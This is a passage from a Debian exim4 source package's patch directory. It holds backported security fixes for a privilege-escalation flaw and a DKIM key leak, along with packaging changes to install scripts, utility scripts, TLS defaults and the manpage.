l/4 * 3 + l%4); +} /* Each cycle of the loop handles a quantum of 4 input bytes. For the last quantum this may decode to 1, 2, or 3 output bytes. */ debian/patches/33_eximon.binary.dpatch0000755000000000000000000000145712200230010015057 0ustar #! /bin/sh /usr/share/dpatch/dpatch-run ## 33_eximon.binary.dpatch by Andreas Piesk ## ## All lines beginning with `## DP:' are a description of the patch. ## DP: eximon.bin is installed in /usr/lib/exim4/ and not in path. diff -NurBbp exim-4.80.orig/OS/eximon.conf-Default exim-4.80/OS/eximon.conf-Default --- exim-4.80.orig/OS/eximon.conf-Default 2012-05-18 05:04:36.000000000 +0200 +++ exim-4.80/OS/eximon.conf-Default 2012-05-18 19:10:59.000000000 +0200 @@ -5,7 +5,7 @@ # The name of the eximon binary, usually the same as the eximon script, # with .bin stuck on the end. -EXIMON_BINARY="${EXIMON_BINARY-$0.bin}" +EXIMON_BINARY="/usr/lib/exim4/${EXIMON_BINARY-${0##*/}.bin}" # The remaining parameters are values likely to be changed to suit the # user's taste. They are documented in the EDITME file. debian/patches/CVE-2016-1531.patch0000644000000000000000000004504612671571551013253 0ustar Description: fix privilege escalation via perl_startup Origin: backport, http://git.exim.org/exim.git/commitdiff/43ba2742c700d625dcdcdaf7bbadc2f72776854a Origin: backport, http://git.exim.org/exim.git/commitdiff/dd90c19962a63fe966e17c75b4a36639302d1e67 Origin: backport, http://git.exim.org/exim.git/commitdiff/fec27df097c8d16b4decfc62bc83bf873e58f310 Origin: backport, http://git.exim.org/exim.git/commit/f2cb6292ba93101c1e8eff8933df6157cfe05fd8 Index: exim4-4.82/OS/Makefile-Base =================================================================== --- exim4-4.82.orig/OS/Makefile-Base 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/OS/Makefile-Base 2016-03-14 13:04:31.356915740 -0400 @@ -313,6 +313,7 @@ rda.o readconf.o receive.o retry.o rewrite.o rfc2047.o \ route.o search.o sieve.o smtp_in.o smtp_out.o spool_in.o spool_out.o \ std-crypto.o store.o string.o tls.o tod.o transport.o tree.o verify.o \ + environment.o \ $(OBJ_LOOKUPS) \ local_scan.o $(EXIM_PERL) $(OBJ_WITH_CONTENT_SCAN) \ $(OBJ_WITH_OLD_DEMIME) $(OBJ_EXPERIMENTAL) @@ -549,6 +550,7 @@ enq.o: $(HDRS) enq.c exim.o: $(HDRS) exim.c expand.o: $(HDRS) expand.c +environment.o: $(HDRS) environment.c filter.o: $(HDRS) filter.c filtertest.o: $(HDRS) filtertest.c globals.o: $(HDRS) globals.c Index: exim4-4.82/doc/exim.8 =================================================================== --- exim4-4.82.orig/doc/exim.8 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/doc/exim.8 2016-03-14 13:04:31.356915740 -0400 @@ -452,6 +452,10 @@ settings can be obtained by using \fBrouters\fP, \fBtransports\fP, or \fBauthenticators\fP. .sp +If \fBenvironment\fP is given as an argument, the set of environment +variables is output, line by line. Using the \fB\-n\fP flag supresses the value of the +variables. +.sp If invoked by an admin user, then \fBmacro\fP, \fBmacro_list\fP and \fBmacros\fP are available, similarly to the drivers. Because macros are sometimes used for storing passwords, this option is restricted. @@ -723,6 +727,8 @@ file that exists is used. Failure to open an existing file stops Exim from proceeding any further along the list, and an error is generated. .sp +The file names need to be absolute names. +.sp When this option is used by a caller other than root, and the list is different from the compiled\-in list, Exim gives up its root privilege immediately, and runs with the real and effective uid and gid set to those of the caller. Index: exim4-4.82/doc/spec.txt =================================================================== --- exim4-4.82.orig/doc/spec.txt 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/doc/spec.txt 2016-03-14 13:04:31.360915788 -0400 @@ -3070,6 +3070,10 @@ authenticator_list, and a complete list of all drivers with their option settings can be obtained by using routers, transports, or authenticators. + If environment is given as an argument, the set of environment variables is + output, line by line. Using the -n flag supresses the value of the + variables. + If invoked by an admin user, then macro, macro_list and macros are available, similarly to the drivers. Because macros are sometimes used for storing passwords, this option is restricted. The output format is one item @@ -3358,6 +3362,8 @@ first file that exists is used. Failure to open an existing file stops Exim from proceeding any further along the list, and an error is generated. + The file names need to be absolute names. + When this option is used by a caller other than root, and the list is different from the compiled-in list, Exim gives up its root privilege immediately, and runs with the real and effective uid and gid set to those @@ -12247,6 +12253,14 @@ This option defines the ACL that is run when an SMTP VRFY command is received. See chapter 42 for further details. ++---------------+---------+-----------------+--------------+ +|add_environment|Use: main|Type: string list|Default: empty| ++---------------+---------+-----------------+--------------+ + +This option allows to set individual environment variables that the currently +linked libraries and programs in child processes use. The default list is +empty, + +------------+---------+------------------+--------------+ |admin_groups|Use: main|Type: string list*|Default: unset| +------------+---------+------------------+--------------+ @@ -13273,6 +13287,29 @@ See ignore_fromline_hosts above. ++----------------+---------+-----------------+--------------+ +|keep_environment|Use: main|Type: string list|Default: unset| ++----------------+---------+-----------------+--------------+ + +This option contains a string list of environment variables to keep. You have +to trust these variables or you have to be sure that these variables do not +impose any security risk. Keep in mind that during the startup phase Exim is +running with an effective UID 0 in most installations. As the default value is +an empty list, the default environment for using libraries, running embedded +Perl code, or running external binaries is empty, and does not not even contain +PATH or HOME. + +Actually the list is interpreted as a list of patterns (10.1), except that it +is not expanded first. + +WARNING: Macro substitution is still done first, so having a macro FOO and +having FOO_HOME in your keep_environment option may have unexpected results. +You may work around this using a regular expression that does not match the +macro name: ^[F]OO_HOME$. + +Current versions of Exim issue a warning during startupif you do not mention +keep_environment or add_environment in your runtime configuration file. + +--------------+---------+----------+-----------+ |keep_malformed|Use: main|Type: time|Default: 4d| +--------------+---------+----------+-----------+ @@ -14287,6 +14324,14 @@ sender_unqualified_hosts, or if the message was submitted locally (not using TCP/IP), and the -bnq option was not set. ++---------------+---------+-----------------+--------------+ +|set_environment|Use: main|Type: string list|Default: empty| ++---------------+---------+-----------------+--------------+ + +This option allows to set individual environment variables that the currently +linked libraries and programs in child processes use. The default list is +empty, + +---------------------+---------+-------------+-------------+ |smtp_accept_keepalive|Use: main|Type: boolean|Default: true| +---------------------+---------+-------------+-------------+ Index: exim4-4.82/scripts/MakeLinks =================================================================== --- exim4-4.82.orig/scripts/MakeLinks 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/scripts/MakeLinks 2016-03-14 13:04:31.364915836 -0400 @@ -198,6 +198,7 @@ ln -s ../src/drtables.c drtables.c ln -s ../src/dummies.c dummies.c ln -s ../src/enq.c enq.c +ln -s ../src/environment.c environment.c ln -s ../src/exim.c exim.c ln -s ../src/exim_dbmbuild.c exim_dbmbuild.c ln -s ../src/exim_dbutil.c exim_dbutil.c Index: exim4-4.82/src/environment.c =================================================================== --- /dev/null 1970-01-01 00:00:00.000000000 +0000 +++ exim4-4.82/src/environment.c 2016-03-14 13:04:31.364915836 -0400 @@ -0,0 +1,71 @@ +/************************************************* +* Exim - an Internet mail transport agent * +*************************************************/ + +/* Copyright (c) Heiko Schlittermann 2016 + * hs@schlittermann.de + * See the file NOTICE for conditions of use and distribution. + */ + +#include "exim.h" + +extern char **environ; + +/* The cleanup_environment() function is used during the startup phase +of the Exim process, right after reading the configurations main +part, before any expansions take place. It retains the environment +variables we trust (via the keep_environment option) and allows to +set additional variables (via add_environment). + +Returns: TRUE if successful + FALSE otherwise +*/ + +BOOL +cleanup_environment() +{ +if (!keep_environment || *keep_environment == '\0') + { + /* From: https://github.com/dovecot/core/blob/master/src/lib/env-util.c#L55 + Try to clear the environment. + a) environ = NULL crashes on OS X. + b) *environ = NULL doesn't work on FreeBSD 7.0. + c) environ = emptyenv doesn't work on Haiku OS + d) environ = calloc() should work everywhere */ + + if (environ) *environ = NULL; + + } +else if (Ustrcmp(keep_environment, "*") != 0) + { + uschar **p; + if (environ) for (p = USS environ; *p; /* see below */) + { + /* It's considered broken if we do not find the '=', according to + Florian Weimer. For now we ignore such strings. unsetenv() would complain, + getenv() would complain. */ + uschar *eqp = Ustrchr(*p, '='); + + if (eqp) + { + uschar *name = string_copyn(*p, eqp - *p); + if (OK != match_isinlist(name, USS &keep_environment, + 0, NULL, NULL, MCL_NOEXPAND, FALSE, NULL)) + if (unsetenv(CS name) < 0) return FALSE; + else p = USS environ; /* RESTART from the beginning */ + else p++; + store_reset(name); + } + } + } +if (add_environment) + { + uschar *p; + int sep = 0; + uschar* envlist = add_environment; + while ((p = string_nextinlist(&envlist, &sep, NULL, 0))) + putenv(CS p); + } + + return TRUE; +} Index: exim4-4.82/src/exim.c =================================================================== --- exim4-4.82.orig/src/exim.c 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/src/exim.c 2016-03-14 13:04:31.364915836 -0400 @@ -3648,8 +3648,19 @@ is a failure. It leaves the configuration file open so that the subsequent configuration data for delivery can be read if needed. */ +/* To be safe: change the working directory to /. */ +if (Uchdir("/") < 0) + { + perror("exim: chdir `/': "); + exit(EXIT_FAILURE); + } + readconf_main(); +if (cleanup_environment() == FALSE) + log_write(0, LOG_PANIC_DIE, "Can't cleanup environment"); + + /* If an action on specific messages is requested, or if a daemon or queue runner is being started, we need to know if Exim was called by an admin user. This is the case if the real user is root or exim, or if the real group is @@ -3795,7 +3806,7 @@ #ifdef TMPDIR { uschar **p; - for (p = USS environ; *p != NULL; p++) + if (environ) for (p = USS environ; *p != NULL; p++) { if (Ustrncmp(*p, "TMPDIR=", 7) == 0 && Ustrcmp(*p+7, TMPDIR) != 0) @@ -3835,10 +3846,10 @@ uschar **new; uschar **newp; int count = 0; - while (*p++ != NULL) count++; + if (environ) while (*p++ != NULL) count++; if (envtz == NULL) count++; newp = new = malloc(sizeof(uschar *) * (count + 1)); - for (p = USS environ; *p != NULL; p++) + if (environ) for (p = USS environ; *p != NULL; p++) { if (Ustrncmp(*p, "TZ=", 3) == 0) continue; *newp++ = *p; @@ -4428,7 +4439,8 @@ (Ustrcmp(argv[i], "router") == 0 || Ustrcmp(argv[i], "transport") == 0 || Ustrcmp(argv[i], "authenticator") == 0 || - Ustrcmp(argv[i], "macro") == 0)) + Ustrcmp(argv[i], "macro") == 0 || + Ustrcmp(argv[i], "environment") == 0)) { readconf_print(argv[i+1], argv[i], flag_n); i++; Index: exim4-4.82/src/functions.h =================================================================== --- exim4-4.82.orig/src/functions.h 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/src/functions.h 2016-03-14 13:04:31.364915836 -0400 @@ -76,6 +76,7 @@ extern uschar **child_exec_exim(int, BOOL, int *, BOOL, int, ...); extern pid_t child_open_uid(uschar **, uschar **, int, uid_t *, gid_t *, int *, int *, uschar *, BOOL); +extern BOOL cleanup_environment(void); extern uschar *cutthrough_finaldot(void); extern BOOL cutthrough_flush_send(void); extern BOOL cutthrough_headers_send(void); @@ -350,6 +351,7 @@ extern uschar *string_append(uschar *, int *, int *, int, ...); extern uschar *string_base62(unsigned long int); extern uschar *string_cat(uschar *, int *, int *, const uschar *, int); +extern int string_compare_by_pointer(const void *, const void *); extern uschar *string_copy_dnsdomain(uschar *); extern uschar *string_copy_malloc(uschar *); extern uschar *string_copylc(uschar *); Index: exim4-4.82/src/globals.c =================================================================== --- exim4-4.82.orig/src/globals.c 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/src/globals.c 2016-03-14 13:04:31.364915836 -0400 @@ -299,6 +299,7 @@ BOOL active_local_sender_retain = FALSE; int body_8bitmime = 0; BOOL accept_8bitmime = TRUE; /* deliberately not RFC compliant */ +uschar *add_environment = NULL; address_item *addr_duplicate = NULL; address_item address_defaults = { @@ -742,6 +743,8 @@ int journal_fd = -1; +uschar *keep_environment = NULL; + int keep_malformed = 4*24*60*60; /* 4 days */ uschar *eldap_dn = NULL; Index: exim4-4.82/src/globals.h =================================================================== --- exim4-4.82.orig/src/globals.h 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/src/globals.h 2016-03-14 13:04:31.364915836 -0400 @@ -140,6 +140,7 @@ /* General global variables */ extern BOOL accept_8bitmime; /* Allow *BITMIME incoming */ +extern uschar *add_environment; /* List of environment variables to add */ extern int body_8bitmime; /* sender declared BODY= ; 7=7BIT, 8=8BITMIME */ extern header_line *acl_added_headers; /* Headers added by an ACL */ extern tree_node *acl_anchor; /* Tree of named ACLs */ @@ -473,6 +474,7 @@ extern int journal_fd; /* Fd for journal file */ +extern uschar *keep_environment; /* Whitelist for environment variables */ extern int keep_malformed; /* Time to keep malformed messages */ extern uschar *eldap_dn; /* Where LDAP DNs are left */ Index: exim4-4.82/src/readconf.c =================================================================== --- exim4-4.82.orig/src/readconf.c 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/src/readconf.c 2016-03-14 13:04:31.364915836 -0400 @@ -11,6 +11,8 @@ #include "exim.h" +extern char **environ; + #define CSTATE_STACK_SIZE 10 @@ -162,6 +164,7 @@ { "acl_smtp_starttls", opt_stringptr, &acl_smtp_starttls }, #endif { "acl_smtp_vrfy", opt_stringptr, &acl_smtp_vrfy }, + { "add_environment", opt_stringptr, &add_environment }, { "admin_groups", opt_gidlist, &admin_groups }, { "allow_domain_literals", opt_bool, &allow_domain_literals }, { "allow_mx_to_ip", opt_bool, &allow_mx_to_ip }, @@ -270,6 +273,7 @@ { "ignore_bounce_errors_after", opt_time, &ignore_bounce_errors_after }, { "ignore_fromline_hosts", opt_stringptr, &ignore_fromline_hosts }, { "ignore_fromline_local", opt_bool, &ignore_fromline_local }, + { "keep_environment", opt_stringptr, &keep_environment }, { "keep_malformed", opt_time, &keep_malformed }, #ifdef LOOKUP_LDAP { "ldap_ca_cert_dir", opt_stringptr, &eldap_ca_cert_dir }, @@ -2476,6 +2480,7 @@ macro_list print a list of macro names +name print a named list item local_scan print the local_scan options + environment print the used execution environment If the second argument is not NULL, it must be one of "router", "transport", "authenticator" or "macro" in which case the first argument identifies the @@ -2617,6 +2622,23 @@ names_only = TRUE; } + else if (Ustrcmp(name, "environment") == 0) + { + if (environ) + { + uschar **p; + for (p = USS environ; *p; p++) ; + qsort(environ, p - USS environ, sizeof(*p), string_compare_by_pointer); + + for (p = USS environ; *p; p++) + { + if (no_labels) *(Ustrchr(*p, '=')) = '\0'; + puts(CS *p); + } + } + return; + } + else { print_ol(find_option(name, optionlist_config, optionlist_config_size), @@ -2930,6 +2952,15 @@ while((filename = string_nextinlist(&list, &sep, big_buffer, big_buffer_size)) != NULL) { + + /* To avoid confusion: Exim changes to / at the very beginning and + * and to $spool_directory later. */ + if (filename[0] != '/') + { + fprintf(stderr, "-C %s: only absolute names are allowed\n", filename); + exit(EXIT_FAILURE); + } + /* Cut out all the fancy processing unless specifically wanted */ #if defined(CONFIGURE_FILE_USE_NODE) || defined(CONFIGURE_FILE_USE_EUID) @@ -3365,6 +3396,11 @@ # endif } #endif + +if ((!add_environment || *add_environment == '\0') && !keep_environment) + log_write(0, LOG_MAIN, + "WARNING: purging the environment.\n" + " Suggested action: use keep_environment and add_environment.\n"); } Index: exim4-4.82/src/string.c =================================================================== --- exim4-4.82.orig/src/string.c 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/src/string.c 2016-03-14 13:04:31.368915884 -0400 @@ -1589,6 +1589,17 @@ #endif /* COMPILE_UTILITY */ +#ifndef COMPILE_UTILITY +/* qsort(3), currently used to sort the environment variables +for -bP environment output, needs a function to compare two pointers to string +pointers. Here it is. */ + +int +string_compare_by_pointer(const void *a, const void *b) +{ +return Ustrcmp(* CUSS a, * CUSS b); +} +#endif /* COMPILE_UTILITY */ Index: exim4-4.82/src/tls-openssl.c =================================================================== --- exim4-4.82.orig/src/tls-openssl.c 2016-03-14 13:04:31.368915884 -0400 +++ exim4-4.82/src/tls-openssl.c 2016-03-14 13:04:31.368915884 -0400 @@ -574,7 +574,7 @@ { extern char ** environ; uschar ** p; - for (p = USS environ; *p != NULL; p++) + if (environ) for (p = USS environ; *p != NULL; p++) if (Ustrncmp(*p, "EXIM_TESTHARNESS_DISABLE_OCSPVALIDITYCHECK", 42) == 0) { DEBUG(D_tls) debug_printf("Supplying known bad OCSP response\n"); Index: exim4-4.82/src/mytypes.h =================================================================== --- exim4-4.82.orig/src/mytypes.h 2013-10-24 20:46:27.000000000 -0400 +++ exim4-4.82/src/mytypes.h 2016-03-14 13:04:50.065138978 -0400 @@ -66,6 +66,7 @@ #define US (unsigned char *) #define CUS (const unsigned char *) #define USS (unsigned char **) +#define CUSS (const unsigned char **) /* The C library string functions expect "char *" arguments. Use macros to avoid having to write a cast each time. We do this for string and file debian/patches/CVE-2016-9963.patch0000644000000000000000000000553613033445124013261 0ustar From 31c02defdc5118834e801d4fe8f11c1d9b5ebadf Mon Sep 17 00:00:00 2001 From: Jeremy Harris Date: Fri, 16 Dec 2016 20:36:39 +0000 Subject: [PATCH] Fix DKIM information leakage Cherry picked from exim-4_87 .. exim-4_87_1 --- doc/doc-txt/ChangeLog | 7 +++ doc/doc-txt/cve-2016-9663 | 86 +++++++++++++++++++++++++++++++++ src/src/dkim.c | 1 + src/src/transports/smtp.c | 4 +- test/confs/4510 | 71 +++++++++++++++++++++++++++ test/log/4510 | 20 ++++++++ test/mail/4510.store | 58 ++++++++++++++++++++++ test/runtest | 8 +++ test/scripts/4510-DKIM-Bounces/4510 | 15 ++++++ test/scripts/4510-DKIM-Bounces/REQUIRES | 2 + 10 files changed, 271 insertions(+), 1 deletion(-) create mode 100644 doc/doc-txt/cve-2016-9663 create mode 100644 test/confs/4510 create mode 100644 test/log/4510 create mode 100644 test/mail/4510.store create mode 100644 test/scripts/4510-DKIM-Bounces/4510 create mode 100644 test/scripts/4510-DKIM-Bounces/REQUIRES Index: exim4-4.82/src/dkim.c =================================================================== --- exim4-4.82.orig/src/dkim.c 2017-01-05 08:29:53.296740016 -0500 +++ exim4-4.82/src/dkim.c 2017-01-05 08:29:53.292739971 -0500 @@ -519,6 +519,7 @@ (char *)dkim_signing_selector, (char *)dkim_private_key_expanded ); + dkim_private_key_expanded[0] = '\0'; pdkim_set_debug_stream(ctx,debug_file); Index: exim4-4.82/src/transports/smtp.c =================================================================== --- exim4-4.82.orig/src/transports/smtp.c 2017-01-05 08:29:53.296740016 -0500 +++ exim4-4.82/src/transports/smtp.c 2017-01-05 08:29:53.292739971 -0500 @@ -248,6 +248,7 @@ static uschar *smtp_command; /* Points to last cmd for error messages */ static uschar *mail_command; /* Points to MAIL cmd for error messages */ static BOOL update_waiting; /* TRUE to update the "wait" database */ +static uschar *data_command = US""; /* Points to DATA cmd for error messages */ /************************************************* @@ -1826,6 +1827,7 @@ case -1: goto END_OFF; /* Timeout on RCPT */ default: goto RESPONSE_FAILED; /* I/O error, or any MAIL/DATA error */ } + data_command = string_copy(big_buffer); /* Save for later error message */ } /* Save the first address of the next batch. */ @@ -2011,7 +2013,7 @@ #else "LMTP error after %s: %s", #endif - big_buffer, string_printing(buffer)); + data_command, string_printing(buffer)); setflag(addr, af_pass_message); /* Allow message to go to user */ if (buffer[0] == '5') addr->transport_return = FAIL; debian/patches/66_enlarge-dh-parameters-size.dpatch0000755000000000000000000000136612245437404017452 0ustar Description: Enlarge default server side size of DH parameters to 2048 from 1024. This patch has no effect if building against gnutls >= 2.12, because exim is using gnutls_sec_param_to_pk_bits() to get correct number of dh_bits when built against newer gnutls-versions. Author: Marc Haber Origin: vendor Forwarded: no Last-Update: 2013-09-28 --- exim4-4.82~rc1.orig/src/tls-gnu.c +++ exim4-4.82~rc1/src/tls-gnu.c @@ -164,7 +164,7 @@ callbacks. */ can ask for a bit-strength. Without that, we stick to the constant we had before, for now. */ #ifndef EXIM_SERVER_DH_BITS_PRE2_12 -#define EXIM_SERVER_DH_BITS_PRE2_12 1024 +#define EXIM_SERVER_DH_BITS_PRE2_12 2048 #endif #define exim_gnutls_err_check(Label) do { \ debian/patches/75_unbind-ldap-connection.diff0000644000000000000000000000132712245437404016324 0ustar From ff2c417d0b970db22a382cb692d066d8fe3c32ae Mon Sep 17 00:00:00 2001 From: Todd Lyons Date: Thu, 31 Oct 2013 06:04:27 -0700 Subject: [PATCH 1/8] Only unbind ldap connection if bind succeeded --- src/lookups/ldap.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/lookups/ldap.c b/src/lookups/ldap.c index bb29b43..6129b4b 100644 --- a/src/lookups/ldap.c +++ b/src/lookups/ldap.c @@ -1367,7 +1367,8 @@ while ((lcp = ldap_connections) != NULL) { DEBUG(D_lookup) debug_printf("unbind LDAP connection to %s:%d\n", lcp->host, lcp->port); - ldap_unbind(lcp->ld); + if(lcp->bound == TRUE) + ldap_unbind(lcp->ld); ldap_connections = lcp->next; } } -- 1.7.10.4 debian/patches/35_install.dpatch0000755000000000000000000000373312245437403013774 0ustar Description: Exim's installation scripts install the binary as exim- - disable this feature. Author: Andreas Metzler Origin: vendor Forwarded: not-needed Last-Update: 2013-09-28 --- exim4-4.82~rc1.orig/scripts/exim_install +++ exim4-4.82~rc1/scripts/exim_install @@ -217,8 +217,9 @@ while [ $# -gt 0 ]; do # The exim binary is handled specially if [ $name = exim${EXE} ]; then - version=exim-`./exim -bV -C /dev/null | \ - awk '/Exim version/ { OFS=""; print $3,"-",substr($4,2,length($4)-1) }'`${EXE} + version=exim +# version=exim-`./exim -bV -C /dev/null | \ +# awk '/Exim version/ { OFS=""; print $3,"-",substr($4,2,length($4)-1) }'`${EXE} if [ "${version}" = "exim-${EXE}" ]; then echo $com "" @@ -368,10 +369,8 @@ done -# If there is no configuration file, install the default, modifying it to refer -# to the configured system aliases file. If there is no setting for -# SYSTEM_ALIASES_FILE, use the traditional /etc/aliases. If the file does not -# exist, install a default (dummy) for that too. +# Install default configuration file +# This is a local Debian modification. # However, if CONFIGURE_FILE specifies a list of files, skip this code. @@ -394,7 +393,7 @@ elif [ ! -f ${CONFIGURE_FILE} ]; then ${real} ${MKDIR} -p `${DIRNAME} ${CONFIGURE_FILE}` echo sed -e '\\' - echo " \"/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'${ACTUAL_SYSTEM_ALIASES_FILE}'\"" '\\' + echo " \"/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'/etc/aliases'\"" '\\' echo " ../src/configure.default > \${CONFIGURE_FILE}" # I can't find a way of writing this using the ${real} feature because @@ -403,7 +402,7 @@ elif [ ! -f ${CONFIGURE_FILE} ]; then if [ "$real" = "" ] ; then sed -e \ - "/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'${ACTUAL_SYSTEM_ALIASES_FILE}'" \ + "/SYSTEM_ALIASES_FILE/ s'SYSTEM_ALIASES_FILE'/etc/aliases'" \ ../src/configure.default > ${CONFIGURE_FILE} else true debian/patches/67_unnecessaryCopt.diff0000644000000000000000000000636312221543654015164 0ustar Description: Stop using exim's -C option in utility scripts (exiwhat et al.) since this breaks with ALT_CONFIG_PREFIX. Author: Andreas Metzler Forwarded: http://bugs.exim.org/show_bug.cgi?id=1045 Last-Update: 2010-12-12 --- exim4-4.72.orig/src/exicyclog.src +++ exim4-4.72/src/exicyclog.src @@ -147,10 +147,10 @@ st=' ' exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi -spool_directory=`$exim_path -C $config -bP spool_directory | sed 's/.*=[ ]*//'` +spool_directory=`$exim_path -bP spool_directory | sed 's/.*=[ ]*//'` if [ "$log_file_path" = "" ] ; then - log_file_path=`$exim_path -C $config -bP log_file_path | sed 's/.*=[ ]*//'` + log_file_path=`$exim_path -bP log_file_path | sed 's/.*=[ ]*//'` fi # If log_file_path contains only "syslog" then no Exim log files are in use. --- exim4-4.72.orig/src/eximon.src +++ exim4-4.72/src/eximon.src @@ -68,8 +68,8 @@ st=' ' EXIM_PATH=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` if test "$EXIM_PATH" = ""; then EXIM_PATH=BIN_DIRECTORY/exim4; fi -SPOOL_DIRECTORY=`$EXIM_PATH -C $config -bP spool_directory | sed 's/.*=[ ]*//'` -LOG_FILE_PATH=`$EXIM_PATH -C $config -bP log_file_path | sed 's/.*=[ ]*//'` +SPOOL_DIRECTORY=`$EXIM_PATH -bP spool_directory | sed 's/.*=[ ]*//'` +LOG_FILE_PATH=`$EXIM_PATH -bP log_file_path | sed 's/.*=[ ]*//'` # If log_file_path is "syslog" then logging is only to syslog, and the monitor # is unable to display a log tail unless EXIMON_LOG_FILE_PATH is set to tell --- exim4-4.72.orig/src/exinext.src +++ exim4-4.72/src/exinext.src @@ -92,8 +92,8 @@ if [ "$exim_path" = "" ]; then fi if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi -spool_directory=`$exim_path $eximmacdef -C $config -bP spool_directory | sed 's/.*=[ ]*//'` -qualify_domain=`$exim_path $eximmacdef -C $config -bP qualify_domain | sed 's/.*=[ ]*//'` +spool_directory=`$exim_path $eximmacdef -bP spool_directory | sed 's/.*=[ ]*//'` +qualify_domain=`$exim_path $eximmacdef -bP qualify_domain | sed 's/.*=[ ]*//'` # Now do the job. Perl uses $ so frequently that we don't want to have to # escape them all from the shell, so pass in shell variable values as @@ -135,7 +135,7 @@ perl - $exim_path "$eximmacdef" $argone # Run Exim to get a list of hosts for the given domain; for # each one construct the appropriate retry key. - open(LIST, "$exim -C $config -v -bt $address |") || + open(LIST, "$exim -v -bt $address |") || die "can't run exim to route $address"; while () --- exim4-4.72.orig/src/exiwhat.src +++ exim4-4.72/src/exiwhat.src @@ -90,8 +90,8 @@ fi st=' ' exim_path=`grep "^[$st]*exim_path" $config | sed "s/.*=[$st]*//"` if test "$exim_path" = ""; then exim_path=BIN_DIRECTORY/exim4; fi -spool_directory=`$exim_path -C $config -bP spool_directory | sed "s/.*=[ ]*//"` -process_log_path=`$exim_path -C $config -bP process_log_path | sed "s/.*=[ ]*//"` +spool_directory=`$exim_path -bP spool_directory | sed "s/.*=[ ]*//"` +process_log_path=`$exim_path -bP process_log_path | sed "s/.*=[ ]*//"` # The file that Exim writes when sent the SIGUSR1 signal is specified by # the process_log_path option. If that is not defined, Exim uses the file debian/patches/31_eximmanpage.dpatch0000755000000000000000000002266512245437403014622 0ustar Description: We ship the binary as exim4 instead of exim, fix manpage accordingly. Author: Marc Haber , Andreas Metzler Last-Update: 2013-09-28 Forwarded: not-needed (upstream uses the "exim" name) --- exim4-4.82~rc1.orig/doc/exim.8 +++ exim4-4.82~rc1/doc/exim.8 @@ -1,9 +1,9 @@ -.TH EXIM 8 +.TH EXIM4 8 .SH NAME -exim \- a Mail Transfer Agent +exim4 \- a Mail Transfer Agent .SH SYNOPSIS .nf -.B exim [options] arguments ... +.B exim4 [options] arguments ... .B mailq [options] arguments ... .B rsmtp [options] arguments ... .B rmail [options] arguments ... @@ -40,7 +40,7 @@ local message on the standard input, wit recipients) is assumed. Thus, for example, if Exim is installed in \fI/usr/sbin\fP, you can send a message from the command line like this: .sp - /usr/sbin/exim -i + /usr/sbin/exim4 -i CTRL-D .sp @@ -125,8 +125,8 @@ ports, on multiple ports, and only on sp .sp When a listening daemon is started without the use of \fB\-oX\fP (that is, without overriding the normal -configuration), it writes its process id to a file called exim\-daemon.pid -in Exim's spool directory. This location can be overridden by setting +configuration), it writes its process id to a file called +/var/run/exim4/exim.pid. This location can be overridden by setting PID_FILE_PATH in Local/Makefile. The file is written while Exim is still running as root. .sp @@ -175,7 +175,7 @@ of lookups, you will just get the same r This option operates like \fB\-be\fP except that it must be followed by the name of a file. For example: .sp - exim \-bem /tmp/testmessage + exim4 \-bem /tmp/testmessage .sp The file is read as a message (as if receiving a locally\-submitted non\-SMTP message) before any of the test expansions are done. Thus, message\-specific @@ -201,7 +201,7 @@ If you want to test a system filter file can use both \fB\-bF\fP and \fB\-bf\fP on the same command, in order to test a system filter and a user filter in the same run. For example: .sp - exim \-bF /system/filter \-bf /user/filter ' user@domain - exim \-f "" user@domain + exim4 \-f '<>' user@domain + exim4 \-f "" user@domain .sp In addition, the use of \fB\-f\fP is not restricted when testing a filter file with \fB\-bf\fP or when testing or verifying addresses using the \fB\-bt\fP or @@ -1267,12 +1267,12 @@ other circumstances, they are ignored un The \fB\-oMa\fP option sets the sender host address. This may include a port number at the end, after a full stop (period). For example: .sp - exim \-bs \-oMa 10.9.8.7.1234 + exim4 \-bs \-oMa 10.9.8.7.1234 .sp An alternative syntax is to enclose the IP address in square brackets, followed by a colon and the port number: .sp - exim \-bs \-oMa [10.9.8.7]:1234 + exim4 \-bs \-oMa [10.9.8.7]:1234 .sp The IP address is placed in the \fI$sender_host_address\fP variable, and the port, if present, in \fI$sender_host_port\fP. If both \fB\-oMa\fP and \fB\-bh\fP @@ -1458,13 +1458,13 @@ When scanning the queue, Exim can be mad lexically less than a given value by following the \fB\-q\fP option with a starting message id. For example: .sp - exim \-q 0t5C6f\-0000c8\-00 + exim4 \-q 0t5C6f\-0000c8\-00 .sp Messages that arrived earlier than 0t5C6f\-0000c8\-00 are not inspected. If a second message id is given, messages whose ids are lexically greater than it are also skipped. If the same id is given twice, for example, .sp - exim \-q 0t5C6f\-0000c8\-00 0t5C6f\-0000c8\-00 + exim4 \-q 0t5C6f\-0000c8\-00 0t5C6f\-0000c8\-00 .sp just one delivery process is started, for that message. This differs from \fB\-M\fP in that retry data is respected, and it also differs from \fB\-Mc\fP in @@ -1480,7 +1480,7 @@ starting a queue runner process at inter single daemon process handles both functions. A common way of starting up a combined daemon at system boot time is to use a command such as .sp - /usr/exim/bin/exim \-bd \-q30m + /usr/sbin/exim4 \-bd \-q30m .sp Such a daemon listens for incoming SMTP calls, and also starts a queue runner process every 30 minutes. @@ -1511,7 +1511,7 @@ regular expression; otherwise it is a li If you want to do periodic queue runs for messages with specific recipients, you can combine \fB\-R\fP with \fB\-q\fP and a time value. For example: .sp - exim \-q25m \-R @special.domain.example + exim4 \-q25m \-R 